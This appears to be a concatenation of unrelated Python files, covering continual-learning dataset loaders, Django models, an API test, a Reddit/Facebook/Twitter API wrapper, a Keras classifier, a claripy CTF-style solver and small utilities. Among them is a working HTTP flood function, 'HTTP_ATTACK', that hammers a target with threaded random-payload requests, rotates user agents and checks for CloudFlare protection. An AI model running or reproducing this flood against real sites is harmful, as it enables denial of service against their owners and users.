            np.stack([elem[i] for elem in out_train]) for i in [0,1] ]

    test_x,  test_y  = [
            np.stack([elem[i] for elem in out_test]) for i in [0,1] ]

    train_x = torch.Tensor(train_x).permute(0, 3, 1, 2).contiguous()
    test_x  = torch.Tensor(test_x).permute(0, 3, 1, 2).contiguous()

    train_y = torch.Tensor(train_y)
    test_y  = torch.Tensor(test_y)

    # get indices of class split
    train_idx = [((train_y + i) % 100).argmax() for i in range(100)]
    train_idx = [0] + [x + 1 for x in sorted(train_idx)]

    test_idx  = [((test_y + i) % 100).argmax() for i in range(100)]
    test_idx  = [0] + [x + 1 for x in sorted(test_idx)]

    train_ds, test_ds = [], []
    skip = 100 // 20 #args.n_tasks
    for i in range(0, 100, skip):
        tr_s, tr_e = train_idx[i], train_idx[i + skip]
        te_s, te_e = test_idx[i],  test_idx[i + skip]

        train_ds += [(train_x[tr_s:tr_e], train_y[tr_s:tr_e])]
        test_ds  += [(test_x[te_s:te_e],  test_y[te_s:te_e])]

    train_ds, val_ds = make_valid_from_train(train_ds)

    train_ds = map(lambda x : XYDataset(x[0], x[1], **{'source':'cifar10'}), train_ds)
    val_ds   = map(lambda x : XYDataset(x[0], x[1], **{'source':'cifar10'}), val_ds)
    test_ds  = map(lambda x : XYDataset(x[0], x[1], **{'source':'cifar10'}), test_ds)

    return train_ds, val_ds, test_ds

def get_miniimagenet(args):

    print('loading miniimagenet dataset')
    ROOT_PATH = '/Data/Miniimagenet/'

    args.use_conv = True
    args.n_tasks   = 20
    args.n_classes = 100
    args.n_classes_per_task = 5
    args.input_size = (3, 84, 84)
    label2id = {}

    def get_data(setname):
        ds_dir = os.path.join(ROOT_PATH, setname)
        label_dirs = os.listdir(ds_dir)
        data, labels = [], []

        for label in label_dirs:
            label_dir = os.path.join(ds_dir, label)
            for image_file in os.listdir(label_dir):
                data.append(os.path.join(label_dir, image_file))
                if label not in label2id:
                    label_id = len(label2id)
                    label2id[label] = label_id
                label_id = label2id[label]
                labels.append(label_id)
        return data, labels

    transform = transforms.Compose([
        transforms.Resize(84),
        transforms.CenterCrop(84),
        transforms.ToTensor(),
    ])

    train_data, train_label = get_data('meta_train')
    valid_data, valid_label = get_data('meta_val')
    test_data,  test_label  = get_data('meta_test')

    # total of 60k examples for training, the rest for testing
    all_data  = np.array(train_data  + valid_data  + test_data)
    all_label = np.array(train_label + valid_label + test_label)

    train_ds, test_ds = [], []
    current_train, current_test = None, None

    cat = lambda x, y: np.concatenate((x, y), axis=0)

    for i in range(args.n_classes):
        class_indices = np.argwhere(all_label == i).reshape(-1)
        class_data  = all_data[class_indices]
        class_label = all_label[class_indices]
        split = int(0.8 * class_data.shape[0])

        data_train, data_test = class_data[:split], class_data[split:]
        label_train, label_test = class_label[:split], class_label[split:]

        if current_train is None:
            current_train, current_test = (data_train, label_train), (data_test, label_test)
        else:
            current_train = cat(current_train[0], data_train), cat(current_train[1], label_train)
            current_test  = cat(current_test[0],  data_test),  cat(current_test[1],  label_test)

        if i % args.n_classes_per_task == (args.n_classes_per_task  - 1):
            train_ds += [current_train]
            test_ds  += [current_test]
            current_train, current_test = None, None

    # build masks
    masks = []
    task_ids = [None for _ in range(20)]
    for task, task_data in enumerate(train_ds):
        labels = np.unique(task_data[1]) #task_data[1].unique().long()
        assert labels.shape[0] == args.n_classes_per_task
        mask = torch.zeros(args.n_classes).cuda()
        mask[labels] = 1
        masks += [mask]
        task_ids[task] = labels

    task_ids = torch.from_numpy(np.stack(task_ids)).cuda().long()
    print('task_ids', task_ids)

    train_ds, val_ds = make_valid_from_train(train_ds)
    train_ds = map(lambda x, y : XYDataset(x[0], x[1], **{'source':'cifar100', 'mask':y, 'task_ids':task_ids, 'transform':transform}), train_ds, masks)
    val_ds = map(lambda x, y: XYDataset(x[0], x[1], **{'source': 'cifar100', 'mask': y, 'task_ids': task_ids, 'transform': transform}), val_ds, masks)
    test_ds  = map(lambda x, y : XYDataset(x[0], x[1], **{'source':'cifar100', 'mask':y, 'task_ids':task_ids, 'transform':transform}), test_ds, masks)

    return train_ds, val_ds, test_ds

def make_valid_from_train(dataset, cut=0.95):
    tr_ds, val_ds = [], []
    for task_ds in dataset:
        x_t, y_t = task_ds

        # shuffle before splitting
        perm = torch.randperm(len(x_t))
        x_t, y_t = x_t[perm], y_t[perm]

        split = int(len(x_t) * cut)
        x_tr, y_tr   = x_t[:split], y_t[:split]
        x_val, y_val = x_t[split:], y_t[split:]

        tr_ds  += [(x_tr, y_tr)]
        val_ds += [(x_val, y_val)]

    return tr_ds, val_ds

class IIDDataset(torch.utils.data.Dataset):
    def __init__(self, data_loaders, seed=0):
        self.data_loader = data_loaders
        self.idx = []
        for task_id in range(len(data_loaders)):
            for i in range(len(data_loaders[task_id].dataset)):
                self.idx.append((task_id, i))
        random.Random(seed).shuffle(self.idx)

    def __getitem__(self, idx):
        task_id, instance_id = self.idx[idx]
        return self.data_loader[task_id].dataset.__getitem__(instance_id)

    def __len__(self):
        return len(self.idx)


from django.db import models
from django.contrib.auth.models import AbstractUser
from voomsdb.utils.models import PersonalModel, NameTimeBasedModel
from voomsdb.utils.choices import AdmissionTypeChoice
from voomsdb.utils.media import MediaHelper
from voomsdb.utils.strings import generate_ref_no
from django.conf import settings
# Create your models here.

class User(AbstractUser):
    pass

class Student(PersonalModel):
    matric_number = models.CharField(max_length=40)
    admission_type = models.CharField(max_length=40,
                                      choices=AdmissionTypeChoice.choices,
                                      default=AdmissionTypeChoice.UTME)
    programme = models.ForeignKey('programme.Programme',
                                  on_delete=models.SET_NULL, null=True, blank=True)
    year_of_admission = models.IntegerField()
    slug = models.SlugField(default=generate_ref_no, null=True, blank=True)
    published = models.BooleanField(default=False)

    def __str__(self):
        return f'{self.last_name} {self.first_name}'

    def image_url(self):
        if self.image:
            return self.image.url
        return f"{settings.STATIC_URL}images/avatar/06.jpg"

class Document(models.Model):
    name = models.CharField(max_length=255)
    profile = models.ForeignKey('home.Student', on_delete=models.CASCADE)
    document = models.FileField(upload_to=MediaHelper.get_document_upload_path)
    slug = models.SlugField(default=generate_ref_no, null=True, blank=True)

    def __str__(self):
        return f'{self.profile} {self.name}'


import unittest
import requests

URL = 'http://127.0.0.1:8000/segment'
IMAGE_PATH = './data/test_image/'
IMAGE_NAME = '0bf631128.jpg'
IMAGE_FORMAT = 'image/jpeg'

class ImageSegmentationTest(unittest.TestCase):
    def test_image_segmentation(self):
        with open(IMAGE_PATH+IMAGE_NAME, 'rb') as image_file:
            image_data = image_file.read()

        headers = {'accept': 'application/json'}

        files = {
            'file': (IMAGE_NAME, image_data, IMAGE_FORMAT)
        }

        response = requests.post(URL, headers=headers, files=files)

        self.assertEqual(response.status_code, 200)

        response_json = response.json()

        self.assertIn("segmented_image", response_json)

    def test_missing_image_file(self):
        headers = {'accept': 'application/json'}

        files = {}

        response = requests.post(URL, headers=headers, files=files)

        self.assertEqual(response.status_code, 422)

if __name__ == '__main__':
    unittest.main()


import requests
import random
import time
from threading import Thread
# Import modules for HTTP flood
import tools.randomData as randomData
import tools.ipTools as ipTools

def HTTP_ATTACK(threads, attack_time, target):
	# Finish
	global FINISH
	FINISH = False

	if ipTools.isCloudFlare(target):
		if not input("[?] Current site is under CloudFlare protection. Do you want to continue? (y/n)\n >>> ") in ("y", "Y", "1"):
			exit()

	print("[#] Attack started for " + str(attack_time) + " secounds..")

	threads_list = []
	# Load 25 random user agents
	user_agents = []
	for _ in range(threads):
		user_agents.append( randomData.random_useragent() )

	# HTTP flood
	def http_flood():
		global FINISH
		while True:
			if FINISH:
				break
			payload = str(random._urandom(random.randint(1, 30)))
			headers = {
				"X-Requested-With": "XMLHttpRequest",
				"Connection": "keep-alive",
				"Pragma": "no-cache",
				"Cache-Control": "no-cache",
				"Accept-Encoding": "gzip, deflate, br",
				"User-agent": random.choice(user_agents)
			}
			try:
				r = requests.get(target, params = payload)
			except Exception as e:
				print(e)
				time.sleep(2)
			else:
				print("[" + str(r.status_code) + "] Request sent! Payload size: " + str(len(payload)))

	# Start threads
	for thread in range(0, threads):
		print("[#] Staring thread " + str(thread))
		t = Thread(target = http_flood)
		t.start()
		threads_list.append(t)
	# Sleep selected secounds
	time.sleep(attack_time)
	# Terminate threads
	for thread in threads_list:
		FINISH = True
		thread.join()

	print("[!] HTTP attack stopped!")


import claripy
import code
from hashlib import sha512
import json
import sys

b = [claripy.BVS('b_%d' % i, 1) for i in range(33896)]

s = claripy.Solver()

with open("map3.txt", 'r') as f:
    cipher, chalbox = json.loads(f.read())

length, gates, check = chalbox

for i in range(33767,33896):
    name, args = gates[i-128]
    if name == 'false':
        s.add(b[i]==claripy.BVV(0,1))
    else:
        if args[0][1] == True:
            arg1 = 1
        else:
            arg1 = 0

        if args[1][1] == True:
            arg2 = 1
        else:
            arg2 = 0

        u1 = b[args[0][0]] ^ arg1
        u2 = b[args[1][0]] ^ arg2
        if name == 'or':
            s.add(b[i] == u1)
        elif name == 'xor':
            s.add(b[i] == u2)

s.add(b[33895] == 0)
for i in range(0, 33896):
    if len(s.eval(b[i],2)) == 1:
        b[i] = s.eval(b[i],1)[0]

code.interact(local=locals())


from os import environ
from time import time, sleep

import requests
import requests.auth
from requests_oauthlib import OAuth1

from .exceptions import *

class API:
    def __init__(self, session=None):
        self.log_function = print
        self.retry_rate = 5
        self.num_retries = 5
        self.failed_last = False
        self.force_stop = False
        self.ignore_errors = False
        self.common_errors = (requests.exceptions.ConnectionError,
                              requests.exceptions.Timeout,
                              requests.exceptions.HTTPError)
        self.session = session

    def __str__(self):
        return pformat(vars(self))

    def log_error(self, e):
        """
        Print errors. Stop travis-ci from leaking api keys

        :param e: The error
        :return: None
        """

        if not environ.get('CI'):
            self.log_function(e)
            if hasattr(e, 'response') and hasattr(e.response, 'text'):
                self.log_function(e.response.text)

    def _sleep(self, seconds):
        """
        Sleep between requests, but don't force asynchronous code to wait

        :param seconds: The number of seconds to sleep
        :return: None
        """
        for _ in range(int(seconds)):
            if not self.force_stop:
                sleep(1)

    @staticmethod
    def merge_params(parameters, new):
        if new:
            parameters = {**parameters, **new}
        return parameters

    def get(self, *args, **kwargs):

        """
        An interface for get requests that handles errors more gracefully to
        prevent data loss
        """

        try:
            req_func = self.session.get if self.session else requests.get
            req = req_func(*args, **kwargs)
            req.raise_for_status()
            self.failed_last = False
            return req

        except requests.exceptions.RequestException as e:
            self.log_error(e)
            for i in range(1, self.num_retries):
                sleep_time = self.retry_rate * i
                self.log_function("Retrying in %s seconds" % sleep_time)
                self._sleep(sleep_time)
                try:
                    req = requests.get(*args, **kwargs)
                    req.raise_for_status()
                    self.log_function("New request successful")
                    return req
                except requests.exceptions.RequestException:
                    self.log_function("New request failed")

            # Allows for the api to ignore one potentially bad request
            if not self.failed_last:
                self.failed_last = True
                raise ApiError(e)
            else:
                raise FatalApiError(e)

class Reddit(API):
    def __init__(self, application_id, application_secret):
        super().__init__()
        self.retry_rate /= 2  # Because it will try reauthorise if failure

        self.application_id = application_id
        self.application_secret = application_secret

        self.url = "https://oauth.reddit.com"
        self.request_rate = 5
        self.user_agent = "SocialReaper"
        self.headers = {}
        self.token_expiry = 0
        self.requires_reauth = True

        self.auth()
        self.last_request = time()

    def auth(self):
        client_auth = requests.auth.HTTPBasicAuth('%s' % self.application_id,
                                                  '%s' % self.application_secret)
        post_data = {"grant_type": "client_credentials"}
        headers = {"User-Agent": self.user_agent}

        try:
            response = requests.post(
                "https://www.reddit.com/api/v1/access_token",
                auth=client_auth, data=post_data,
                headers=headers)
        except requests.exceptions.RequestException as e:
            raise ApiError(e)

        rj = response.json()

        self.headers = {"Authorization": "bearer %s" % rj.get('access_token'),
                        "User-Agent": self.user_agent}
        self.token_expiry = time() + rj.get('expires_in', 0)

    def api_call(self, edge, parameters, return_results=True):

        if time() > self.token_expiry + 30:
            self.auth()

        time_diff = time() - self.last_request
        if time_diff < self.request_rate:
            sleep(self.request_rate - time_diff)

        self.last_request = time()

        try:
            req = self.get("%s/%s" % (self.url, edge), params=parameters,
                           headers=self.headers)
        except (ApiError, FatalApiError):
            try:
                self.auth()
            except ApiError:
                pass
            req = self.get("%s/%s" % (self.url, edge), params=parameters,
                           headers=self.headers)

        if return_results:
            return req.json()

    def search(self, query, count=100, order="new", page='',
               result_type="link", time_period="all", **params):

        parameters = {"show": "all",
                      "q": query,
                      "limit": count,
                      "sort": order,
                      "type": result_type,
                      "t": time_period,
                      "after": page}
        parameters = self.merge_params(parameters, params)

        return self.api_call('search.json', parameters)

    def subreddit(self, subreddit, count=100, category="new", page='',
                  time_period='all', **params):

        parameters = {"limit": count,
                      "t": time_period,
                      "after": page}
        parameters = self.merge_params(parameters, params)

        return self.api_call('r/%s/%s.json' % (subreddit, category), parameters)

    def user(self, user, count=100, order="new", page='',
             result_type="overview", time_period='all', **params):

        parameters = {"show": "all",
                      "limit": count,
                      "sort": order,
                      "type": result_type,
                      "t": time_period,
                      "after": page}
        parameters = self.merge_params(parameters, params)

        return self.api_call('user/%s/%s.json' % (user, result_type),
                             parameters)

    def thread_comments(self, thread, subreddit, order="top", sub_thread=None,
                        **params):

        parameters = {"depth": 50,
                      "showmore": True,
                      "sort": order}
        parameters = self.merge_params(parameters, params)

        path = None
        if sub_thread:
            path = 'r/%s/comments/%s/_/%s.json' % (
            subreddit, thread, sub_thread)
        else:
            path = 'r/%s/comments/%s.json' % (subreddit, thread)

        return self.api_call(path, parameters)

    def more_children(self, children, link_id, sort="new",
                      **params):
        parameters = {"api_type": "json",
                      "children": ",".join(children),
                      "link_id": link_id,
                      "sort": sort,
                      "limit_children": False
                      }
        parameters = self.merge_params(parameters, params)

        return self.api_call('api/morechildren', parameters)

class Facebook(API):
    def __init__(self, api_key):
        super().__init__()

        self.key = api_key
        self.url = "https://graph.facebook.com/v"
        self.version = "2.9"
        self.request_rate = 1
        self.last_request = time()

    def api_call(self, edge, parameters, return_results=True):
        req = self.get("%s%s/%s" % (self.url, self.version, edge),
                       params=parameters)

        time_diff = time() - self.last_request
        if time_diff < self.request_rate:
            sleep(self.request_rate - time_diff)

        self.last_request = time()

        if return_results:
            return req.json()

    def node_edge(self, node, edge, fields=None, params=None):

        """

        :param node:
        :param edge:
        :param fields:
        :param params:
        :return:
        """
        if fields:
            fields = ",".join(fields)

        parameters = {"fields": fields,
                      "access_token": self.key}
        parameters = self.merge_params(parameters, params)

        return self.api_call('%s/%s' % (node, edge), parameters)

    def post(self, post_id, fields=None, **params):

        """

        :param post_id:
        :param fields:
        :param params:
        :return:
        """
        if fields:
            fields = ",".join(fields)

        parameters = {"fields": fields,
                      "access_token": self.key}
        parameters = self.merge_params(parameters, params)

        return self.api_call('%s' % post_id, parameters)

    def page_posts(self, page_id, after='', post_type="posts",
                   include_hidden=False, fields=None, **params):

        """

        :param page_id:
        :param after:
        :param post_type: Can be 'posts', 'feed', 'tagged', 'promotable_posts'
        :param include_hidden:
        :param fields:
        :param params:
        :return:
        """
        if fields:
            fields = ",".join(fields)

        parameters = {"access_token": self.key,
                      "after": after,
                      "fields": fields,
                      "include_hidden": include_hidden}
        parameters = self.merge_params(parameters, params)

        return self.api_call('%s/%s' % (page_id, post_type), parameters)

    def post_comments(self, post_id, after='', order="chronological",
                      filter="stream", fields=None, **params):

        """

        :param post_id:
        :param after:
        :param order: Can be 'ranked', 'chronological', 'reverse_chronological'
        :param filter: Can be 'stream', 'toplevel'
        :param fields: Can be 'id', 'application', 'attachment', 'can_comment',
        'can_remove', 'can_hide', 'can_like', 'can_reply_privately', 'comments',
        'comment_count', 'created_time', 'from', 'likes', 'like_count',
        'live_broadcast_timestamp', 'message', 'message_tags', 'object',
        'parent', 'private_reply_conversation', 'user_likes'
        :param params:
        :return:
        """
        if fields:
            fields = ",".join(fields)

        parameters = {"access_token": self.key,
                      "after": after,
                      "order": order,
                      "fields": fields,
                      "filter": filter}
        parameters = self.merge_params(parameters, params)

        return self.api_call('%s/comments' % post_id, parameters)

class Twitter(API):
    def __init__(self, api_key, api_secret, access_token, access_token_secret):
        super().__init__()

        self.app_key = api_key
        self.app_secret = api_secret
        self.oauth_token = access_token
        self.oauth_token_secret = access_token_secret

        self.url = "https://api.twitter.com/1.1"
        self.request_rate = 5

        self.auth = OAuth1(self.app_key, self.app_secret, self.oauth_token,
                           self.oauth_token_secret)
        self.last_request = time()

    def api_call(self, edge, parameters, return_results=True):
        req = self.get("%s/%s" % (self.url, edge), params=parameters,
                       auth=self.auth)

        time_diff = time() - self.last_request
        if time_diff < self.request_rate:
            sleep(self.request_rate - time_diff)

        self.last_request = time()

        if return_results:
            return req.json()

    def search(self, query, count=100, max_id='',
               result_type="mixed", include_entities=True,
               tweet_mode='extended', **params):

        count = 100 if count < 100 else count
        parameters = {"q": query,
                      "count": count,
                      "max_id": max_id,
                      "result_type": result_type,
                      "include_entities": include_entities,
                      "tweet_mode": tweet_mode}
        parameters = self.merge_params(parameters, params)

        return self.api_call("search/tweets.json", parameters)

    def user(self, username, count=200, max_id=None, exclude_replies=False,
             include_retweets=False, tweet_mode='extended', **params):
        parameters = {"screen_name": username,
                      "count": count,
                      "max_id": max_id,
                      "exclude_replies": exclude_replies,
                      "include_rts": include_retweets,
                      "tweet_mode": tweet_mode}
        parameters = self.merge_params(parameters, params)

        return self.api_call("statuses/user_timeline.json", parameters)


import os

from math import ceil

from keras import backend
from keras import optimizers
from keras.applications.vgg19 import VGG19
from keras.applications.resnet50 import ResNet50
from keras.layers import Dense, Flatten, BatchNormalization, Dropout
from keras.models import Sequential, Model
from keras.callbacks import EarlyStopping, ModelCheckpoint, ReduceLROnPlateau
# from keras.utils import plot_model

from tensor_board import MyTensorBoard
from parallel_model import ParallelModel

class ImageClassifier:
    root_path = ""
    input_shape = ()
    output_size = 0
    model = None

    def __init__(self, root_path, input_shape, output_size):
        self.root_path = root_path
        self.input_shape = input_shape
        self.output_size = output_size

        self.base_model = VGG19(weights='imagenet', include_top=False, input_shape=self.input_shape)
        self.model = Sequential()
        self.model.add(self.base_model)
        self.model.add(Flatten())
        self.model.add(Dense(self.output_size, activation='sigmoid'))

        # self.base_model = ResNet50(include_top=False, input_shape=self.input_shape, pooling='avg', weights='imagenet')
        # x = self.base_model.output
        # x = Dense(2048, activation='relu')(x)
        # x = Dropout(0.25)(x)
        # output = Dense(self.output_size, activation='sigmoid')(x)
        # self.model = Model(inputs=self.base_model.inputs, outputs=output)

        # self.model = ParallelModel(self.model, gpus=4)
        # plot_model(self.model, to_file=os.path.join(root_path, 'model.png'))

    @staticmethod
    def f2(y_true, y_pred):
        def recall(y_true, y_pred):
            true_positives = backend.sum(backend.round(backend.clip(y_true * y_pred, 0, 1)))
            possible_positives = backend.sum(backend.round(backend.clip(y_true, 0, 1)))
            recall = true_positives / (possible_positives + backend.epsilon())
            return recall

        def precision(y_true, y_pred):
            true_positives = backend.sum(backend.round(backend.clip(y_true * y_pred, 0, 1)))
            predicted_positives = backend.sum(backend.round(backend.clip(y_pred, 0, 1)))
            precision = true_positives / (predicted_positives + backend.epsilon())
            return precision

        precision = precision(y_true, y_pred)
        recall = recall(y_true, y_pred)
        beta_squared = 4
        return (beta_squared + 1) * ((precision * recall) / (beta_squared * precision + recall + backend.epsilon()))

    def train(self, x, y, batch_size, validation_data, lr, epochs, idx_split=0):
        self.model.compile(loss='binary_crossentropy',
                           optimizer=optimizers.Adam(lr=lr),
                           metrics=['accuracy', self.f2])

        early_stop = EarlyStopping(patience=2)
        model_checkpoint = ModelCheckpoint(self.__get_weights_path(idx_split), save_best_only=True)
        reduce_lr = ReduceLROnPlateau(patience=2, cooldown=2)
        tensor_board = MyTensorBoard(log_dir=self.__get_logs_path(idx_split, lr, epochs), write_images=True)
        self.model.fit(x=x,
                       y=y,
                       validation_data=validation_data,
                       batch_size=batch_size,
                       epochs=epochs,
                       callbacks=[early_stop, reduce_lr, model_checkpoint, tensor_board])

    def train_generator(self, train_gen, train_size, valid_gen, valid_size, batch_size, lr, decay, epochs, idx_split=0):
        self.model.compile(loss='binary_crossentropy',
                           optimizer=optimizers.Adam(lr=lr, decay=decay),
                           metrics=['accuracy', self.f2])

        early_stop = EarlyStopping(patience=4, min_delta=1e-4)
        model_checkpoint = ModelCheckpoint(self.__get_weights_path(idx_split), save_best_only=True)
        tensor_board = MyTensorBoard(log_dir=self.__get_logs_path(idx_split, lr, epochs), write_images=True)
        self.model.fit_generator(generator=train_gen,
                                 steps_per_epoch=(train_size // batch_size + 1),
                                 epochs=epochs,
                                 shuffle=False,
                                 validation_data=valid_gen,
                                 validation_steps=(valid_size // batch_size + 1),
                                 callbacks=[early_stop, model_checkpoint, tensor_board])

    def predict(self, x, batch_size):
        return self.model.predict(x=x, batch_size=batch_size)

    def predict_generator(self, test_gen, test_size, batch_size):
        return self.model.predict_generator(generator=test_gen, steps=(test_size // batch_size + 1))

    def save(self, idx_split=0):
        self.model.save_weights(self.__get_weights_path(idx_split))

    def load(self, idx_split=0):
        self.model.load_weights(self.__get_weights_path(idx_split))

    def load_if_exist(self, idx_split):
        weights_path = self.__get_weights_path(idx_split)
        if os.path.isfile(weights_path):
            self.model.load_weights(weights_path)

    def set_trainable(self, trainable):
        for layer in self.base_model.layers:
            layer.trainable = trainable

    def __get_weights_path(self, idx_split):
        return os.path.join(self.root_path, 'models', 'split{}.h5'.format(idx_split))

    def __get_logs_path(self, idx_split, lr, epochs):
        return os.path.join(self.root_path, 'logs', 'split{}-lr{}-epochs{}'.format(idx_split, lr, epochs))


import random
from enum import Enum

fifth_ed_bad_reactions = ["cringe.jpg", "mike.jpg", "nat1.gif", "nat1.jpg", "jazz.jpg"]
fifth_ed_good_reactions = ["heisenberg.gif", "joji.jpg", "mcmahon.gif", "nat20.jpg"]

sw_bad_reactions = ["bad1.gif", "bad2.gif", "bad3.gif", "bad4.gif",
                    "bad5.gif", "bad6.jpg", "bad7.jpg", "bad8.jpg", "bad9.gif", "bad10.gif"]
sw_good_reactions = ["good1.gif", "good2.gif", "good3.gif",
                     "good4.gif", "good5.gif", "good6.gif", "good7.gif", "good8.gif"]

class GameMode(Enum):
    WIZARDS_FIFTH_ED = 1
    STAR_WARS_FIFTH_ED = 2

def get_good_reaction (current_gamemode):
    path = "resources/reactions/5e/good/" + random.choice(fifth_ed_good_reactions)
    if current_gamemode == GameMode.STAR_WARS_FIFTH_ED:
       path = "resources/reactions/sw5e/good/" + random.choice(sw_good_reactions)
    return path

def get_bad_reaction(current_gamemode):
    path = "resources/reactions/5e/bad/" + random.choice(fifth_ed_bad_reactions)
    if current_gamemode == GameMode.STAR_WARS_FIFTH_ED:
        path = "resources/reactions/sw5e/bad/" + random.choice(sw_bad_reactions)
    return path


import logging
import os
from datetime import datetime

file_name=f"{datetime.now().strftime('%d_%m_%Y_%H_%M_%S')}.log"
logs_path=os.path.join(os.getcwd(),"logs",file_name)
os.makedirs(logs_path,exist_ok=True)

logs_file_path=os.path.join(logs_path,file_name)

logging.basicConfig(filename=logs_file_path,
                    format="[%(asctime)s] %(lineno)d %(name)s-%(levelname)s-%(message)s",
                    level=logging.INFO)

#if __name__=="__main__":
#    logging.info("logging started")


# RA, 2020-10-13

import contextlib
import io

@contextlib.contextmanager
def open_maybe_gz(file, *, mode='r'):
    """
    Open `file` for reading that could be a
     - file descriptor
     - path to file
     - path to gzipped file

    `mode` is either 'r' or 'rb', and has to be specified.

    Usage:
        with open_maybe_gz(path_to_file, mode='r') as fd:
            print(fd.read())
    """

    assert mode in ['r', 'rb']

    if isinstance(file, io.IOBase):
        yield file
        return

    from pathlib import Path
    assert Path(file).is_file()

    file = str(file)

    if file.endswith(".gz"):
        import gzip
        with gzip.open(file, mode='rb') as fd:
            if (mode == 'r'):
                yield io.TextIOWrapper(fd)
            elif (mode == 'rb'):
                yield fd
    else:
        with open(file, mode=mode) as fd:
            yield fd